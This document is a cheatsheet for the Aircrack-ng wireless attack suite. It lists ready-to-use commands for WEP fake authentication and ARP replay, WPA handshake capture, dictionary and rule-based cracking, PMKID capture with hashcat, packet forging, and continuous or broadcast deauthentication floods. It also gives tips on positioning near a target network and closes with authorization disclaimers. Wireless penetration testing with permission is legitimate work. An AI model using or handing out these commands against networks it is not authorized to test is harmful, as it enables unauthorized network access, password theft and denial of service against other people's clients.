Aircrack-ng Cheatsheet

Table of Contents

• Basic Commands
• Network Discovery
• Packet Capture
• WEP Attacks
• WPA/WPA2 Attacks
• Client Attacks
• Advanced Operations

Basic Commands

1. Interface Management

   airmon-ng                 # Show wireless interfaces
   airmon-ng check          # Check for interfering processes
   airmon-ng check kill     # Kill interfering processes
   airmon-ng start wlan0    # Start monitor mode
   airmon-ng stop wlan0mon  # Stop monitor mode

2. Basic Network Analysis

   airodump-ng wlan0mon     # Start scanning networks
   aireplay-ng --test wlan0mon  # Test injection capabilities

Network Discovery

airodump-ng wlan0mon
airodump-ng --band abg wlan0mon    # Scan all bands
airodump-ng --channel 6 wlan0mon   # Scan specific channel

airodump-ng --bssid [MAC] --channel [CH] --write capture wlan0mon
airodump-ng --essid [NAME] --write capture wlan0mon

Packet Capture

airodump-ng --bssid [MAC] -w output wlan0mon  # Basic capture
airodump-ng --bssid [MAC] -c [CH] -w output --output-format pcap wlan0mon  # Full capture
airdecap-ng -b [MAC] output.cap   # Decrypt captured packets

WEP Attacks

1. Fake Authentication

   aireplay-ng -1 0 -e [ESSID] -a [MAC] -h [YOUR_MAC] wlan0mon

2. ARP Replay Attack

   aireplay-ng -3 -b [MAC] -h [YOUR_MAC] wlan0mon

3. Cracking

   aircrack-ng -b [MAC] output*.cap
   aircrack-ng -K -b [MAC] output*.cap  # PTW attack

WPA/WPA2 Attacks

# Capture handshake
airodump-ng --bssid [MAC] -c [CH] -w wpa wlan0mon
# Deauthentication to force handshake
aireplay-ng -0 1 -a [MAC] -c [CLIENT_MAC] wlan0mon

# Dictionary attack
aircrack-ng -w wordlist.txt wpa*.cap
# Using hashcat format
aircrack-ng -J output wpa*.cap
# Cracking with rules
aircrack-ng -r rules.txt -w wordlist.txt wpa*.cap

Client Attacks

# Deauthentication attack
aireplay-ng -0 0 -a [MAC] wlan0mon         # Continuous deauth
aireplay-ng -0 10 -a [MAC] wlan0mon        # Send 10 deauth packets
aireplay-ng -0 0 -a [MAC] -c FF:FF:FF:FF:FF:FF wlan0mon  # Broadcast deauth

Advanced Operations

aireplay-ng -5 -b [MAC] -h [YOUR_MAC] wlan0mon
packetforge-ng -0 -a [MAC] -h [YOUR_MAC] -k 255.255.255.255 -l 255.255.255.255 -y fragment*.xor -w inject.cap

hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status
hcxpcaptool -z pmkid.hash pmkid.pcapng
hashcat -m 16800 pmkid.hash wordlist.txt

Best Practices

• Always operate on networks you own or have permission to test
• Keep your Aircrack-ng suite updated
• Use strong wireless adapters with good injection capabilities
• Monitor system logs for errors
• Save captures for analysis
• Use appropriate gain and TX power settings

Common Workflows

1. Basic Network Assessment

   • Start monitor mode
   • Scan for networks
   • Identify target network
   • Capture required packets
   • Analyze collected data

2. Troubleshooting

   • Check for interfering processes
   • Verify driver compatibility
   • Test injection capabilities
   • Monitor packet capture quality
   • Verify hardware functionality

Tips and Tricks

• Use external antennas for better range
• Position yourself closer to the target network
• Avoid running other network-intensive applications
• Keep captures organized with meaningful names
• Use screen or tmux for managing multiple terminals
• Monitor system temperature during intensive operations

Note: This tool should only be used for legitimate network testing and security assessment purposes with proper authorization.